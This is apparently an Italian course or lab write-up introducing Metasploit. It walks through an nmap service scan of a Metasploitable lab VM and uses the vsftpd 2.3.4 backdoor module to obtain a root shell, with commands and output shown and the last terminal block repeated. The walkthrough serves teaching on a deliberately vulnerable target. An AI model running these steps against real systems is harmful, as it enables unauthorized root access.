



METASPLOIT

TOOL PER ATTACCHI

- Metasploit è un framework open-source usato per il penetration testing e lo sviluppo di exploit.
- Fornisce una vasta gamma di exploit e numerosi vettori di attacco che si possono utilizzare contro diversi sistemi.
- Inoltre, può essere utilizzato per creare ed automatizzare i propri exploit.

CARATTERISTICHE

- Possiede un' interfaccia.
- Exploit.
- Payload.
- Gestione degli Exploit.

STRUMENTI

- Interfaccia Web.
- Riga di comando.
- Una console: MSFConsole.

INTERFACCIA

- Interfaccia Web.
- Riga di comando.
- Una console: MSFConsole.

comando:

msfconsole

```
root@kali:~/Desktop# cat /dev/tty
udo su
] password for kali:
oot@kali)-[/home/kali/Desktop]
sfconsole
exploit tip: You can pivot connections over sessions started with the
ogin modules

+-----+
| METASPLOIT by Rapid7 |
+-----+
|                                     +-----+
|                                     | EXPLOIT |
|                                     | [msf >]|
|                                     |         |
| RECON                             \| (@)(@)(@)(@)(@)(@) /
|                                     *****
|                                     +-----+
|                                     | LOOT   | |
|                                     |       |
| PAYLOAD                           | (-|-)|
| ^^^^^^^^^^^^^^^^^^ | " " \_ |
| _____ | _ ) _ |
| (@)(@)" " * * | (@)(@)* * | (@)
| = = = = =
|                                     +-----+
|
| ==[ metasploit v6.3.43-dev ]
|--=[ 2376 exploits - 1232 auxiliary - 416 post ]
|--=[ 1391 payloads - 46 encoders - 11 nops ]
|--=[ 9 evasion ]
|
| exploit Documentation: https://docs.metasploit.com/

```

EXPLOIT

Codice malevolo, sfrutta una vulnerabilità già presente all'interno di un codice, a differenza del malware che la crea andando a modificare il codice.

Scansione con nmap
comando nmap -sV

```
# nmap -sV 192.168.50.101
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-22 08:40 EST
Nmap scan report for 192.168.50.101
Host is up (0.0011s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:03:6D:49 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN;
```

Seleziono exploit
con version v2.3.4

```
msf6 > search vsftpd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

CONFIGURAZIONI

Alcune opzioni richiedono di essere configurate.

Con comando "show options" è possibile vedere quali ci sono e se configurarle

Come l'indirizzo IP interessato, in questo caso della macchina vittima

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  LHOST      0.0.0.0          no        The local client address
  LPORT      4444             no        The local client port
  Proxies    []               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     []               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ---      -
  LHOST      0.0.0.0          no        The local client address
  LPORT      4444             no        The local client port
  RHOST      0.0.0.0          no        The remote host address
  RPORT      4444             no        The remote host port

Exploit target:

  Id  Name
  --  --
  0    Automatic
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.50.101
RHOST => 192.168.50.101
```

exploit
comando

Sceglie automaticamente
l'exploit e lo avvia

```
root@kali: /home/kali
File Actions Edit View Help
0 Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.50.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[+] 192.168.50.101:21 - Backdoor service has been spawned, handling ...
[+] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:33975 -> 192.168.50.101:6200) at 2024-01-22 05:37:45 -0500

whoami
root
mkdir test_metasploit
cd /
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

AGGIUNTA CARTELLA

```
root@kali: /home/kali
File Actions Edit View Help
0 Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.50.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[+] 192.168.50.101:21 - Backdoor service has been spawned, handling ...
[+] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:33975 -> 192.168.50.101:6200) at 2024-01-22 05:37:45 -0500

whoami
root
mkdir test_metasploit
cd /
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```